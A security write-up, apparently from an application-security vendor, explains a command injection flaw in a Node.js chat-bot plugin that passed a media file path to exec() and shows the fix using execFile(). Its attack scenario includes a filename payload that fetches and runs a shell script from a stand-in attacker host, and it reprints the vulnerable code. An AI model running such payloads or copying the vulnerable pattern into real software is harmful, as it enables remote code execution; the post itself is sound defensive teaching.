The File That Converts Videos — and Could Have Run Anything
The plugins/convert/tomp3.js file has a straightforward job: take a quoted video message, run it through ffmpeg, and hand back an MP3. It's the kind of utility plugin that lives quietly in a codebase, doing one thing, rarely touched. But buried in its 30-odd lines was a high-severity command injection vulnerability — the kind that can turn a media converter into a remote code execution foothold.
Semgrep's javascript.lang.security.detect-child-process.detect-child-process rule flagged line 20 of this file, where a file path derived from a saved media message was being spliced directly into a shell command string and handed to Node.js's exec(). This post breaks down exactly what was wrong, how it could be exploited, and what the fix looks like.
The Vulnerability Explained
The Dangerous Pattern
Here is the vulnerable code at line 20:
// BEFORE — vulnerable
import { exec } from 'child_process'
exec(`ffmpeg -i ${media} ${result}`, async (err, stderr, stdout) => {
remove(media)
if (err) return client.reply(m.chat, Utils.texted('bold', `🚩 Conversion failed.`), m)
let buff = read(result)
// ...
})
The problem is the template literal: `ffmpeg -i ${media} ${result}`.
Node.js's exec() works by spawning a shell (typically /bin/sh on Linux) and passing the entire string to it. That shell interprets special characters — semicolons, pipes, backticks, $() — as control operators. When media is a filename that contains any of these characters, the shell doesn't see a filename; it sees instructions.
Where Does media Come From?
const media = await client.saveMediaMessage(m.quoted.videoMessage)
The media variable is a file path returned after saving a quoted video message from a chat client. While the application controls where the file is saved, the filename itself may be influenced by the content of the incoming message or the media metadata — making it a potential injection point for an attacker who can craft or relay a message with a malicious filename.
A Concrete Attack Scenario
Suppose an attacker sends a video message with a filename (embedded in the media metadata or derived from the message context) crafted as:
video.mp4; curl https://attacker.com/shell.sh | bash;
When this value lands in media and gets interpolated into the template literal, the shell receives:
ffmpeg -i video.mp4; curl https://attacker.com/shell.sh | bash; /tmp/output.mp3
The shell dutifully executes all three commands. The ffmpeg conversion may even succeed, masking the attack. The server running this Node.js plugin would execute the attacker's payload with the privileges of the application process.
For a Node.js library used by downstream consumers (as noted in the PR), this attack surface is especially dangerous — every application that passes untrusted media through this plugin inherits the vulnerability.
The Fix
What Changed
The fix is a two-line change in plugins/convert/tomp3.js:
Import change (line 3):
// BEFORE
import { exec } from 'child_process'
// AFTER
import { execFile } from 'child_process'
Call site change (line 20):
// BEFORE — shell interpolation, dangerous
exec(`ffmpeg -i ${media} ${result}`, async (err, stderr, stdout) => {
// AFTER — argument array, no shell involved
execFile('ffmpeg', ['-i', media, result], async (err, stderr, stdout) => {
Why This Works
execFile() does not invoke a shell. Instead of building a command string and handing it to /bin/sh, it executes the specified binary (ffmpeg) directly and passes each element of the array as a discrete, literal argument. The OS-level execve() syscall receives:
argv[0] = "ffmpeg"
argv[1] = "-i"
argv[2] = <whatever media contains, verbatim>
argv[3] = <whatever result contains, verbatim>
No shell ever sees the media value. Special characters like ;, |, $(), and backticks are treated as part of the filename string — exactly as they should be — and ffmpeg either processes the file or returns an error. There is no injection surface.
The callback signature (err, stderr, stdout) is identical between exec and execFile, so the rest of the function required zero changes. The behavior is fully preserved for legitimate inputs.
Prevention & Best Practices
1. Default to execFile() or spawn() Over exec()
Whenever you need to invoke an external binary in Node.js, reach for execFile() or spawn() first. Reserve exec() only for cases where you genuinely need shell features (pipes, redirects, glob expansion) — and even then, validate and escape every variable.
// Prefer this pattern for external binaries
import { execFile } from 'child_process'
execFile('ffmpeg', ['-i', inputFile, outputFile], callback)
// Or with promises
import { execFile } from 'child_process'
import { promisify } from 'util'
const execFileAsync = promisify(execFile)
await execFileAsync('ffmpeg', ['-i', inputFile, outputFile])
2. Never Interpolate File Paths Into Shell Strings
Even if you trust the source of a filename today, sources change. Treat any path that transits a network, user input, or external API as untrusted.
3. Validate File Paths Before Use
If you must use exec() for legacy reasons, validate the path against a strict allowlist pattern:
const safePath = /^[\w\-./]+$/.test(media) ? media : null
if (!safePath) throw new Error('Invalid media path')
But this is defense-in-depth, not a substitute for avoiding shell interpretation.
4. Use Static Analysis in CI
The Semgrep rule javascript.lang.security.detect-child-process.detect-child-process caught this issue automatically. Add it to your CI pipeline:
# .github/workflows/security.yml
- name: Run Semgrep
run: semgrep --config=p/javascript ci
5. Apply the Principle of Least Privilege
Run your Node.js application with the minimum OS permissions needed. Even if command injection occurs, a sandboxed process limits the blast radius.
Standards References
- OWASP: Command Injection
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- OWASP Top 10: A03:2021 – Injection
Key Takeaways
exec()+ template literals = shell injection surface: The patternexec(`command ${variable}`)intomp3.jsis structurally dangerous regardless of wherevariablecomes from today.execFile()eliminates the shell entirely: By passing['ffmpeg', ['-i', media, result]]as an argument array, the fix makes injection structurally impossible — no sanitization needed.- Media file paths are attacker-influenced: The
mediavariable intomp3.jsoriginates from a saved message attachment, making it a realistic injection vector in a chat-bot context. - Node.js library vulnerabilities propagate downstream: Because this is a plugin in a library, every consumer application that processes video messages inherited this vulnerability until the fix was applied.
- Static analysis catches this pattern reliably: Semgrep's
detect-child-processrule flagged the exact line and variable — integrate it into CI to catch similar patterns before they ship.
How Orbis AppSec Detected This
- Source: The
mediavariable, a file path derived fromclient.saveMediaMessage(m.quoted.videoMessage)— data originating from an inbound chat message attachment. - Sink:
exec(`ffmpeg -i ${media} ${result}`, ...)atplugins/convert/tomp3.js:20, where the tainted path is interpolated into a shell command string. - Missing control: No sanitization, escaping, or validation of
mediabefore shell interpolation; no use of a shell-bypass API likeexecFile(). - CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ("OS Command Injection").
- Fix: Replaced
exec()withexecFile('ffmpeg', ['-i', media, result]), passing arguments as a discrete array to bypass shell interpretation entirely.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The tomp3.js vulnerability is a textbook example of how a seemingly mundane utility function can harbor a critical security flaw. The root cause wasn't complex logic or a subtle race condition — it was a single API choice: exec() instead of execFile(). That one decision introduced a shell between the application and ffmpeg, and that shell is what made injection possible.
The fix is equally simple, and that's the lesson worth internalizing: in Node.js, the safest way to call an external binary is to never involve a shell at all. Use execFile() or spawn() with an argument array, and the entire class of shell injection vulnerabilities disappears for that call site.
For developers building plugins, bots, or media-processing utilities that invoke system tools, this pattern is worth auditing across your entire codebase. Anywhere you see exec(`...${variable}...`), ask whether execFile() with an array would work instead. In most cases, it will — and your code will be structurally safer for it.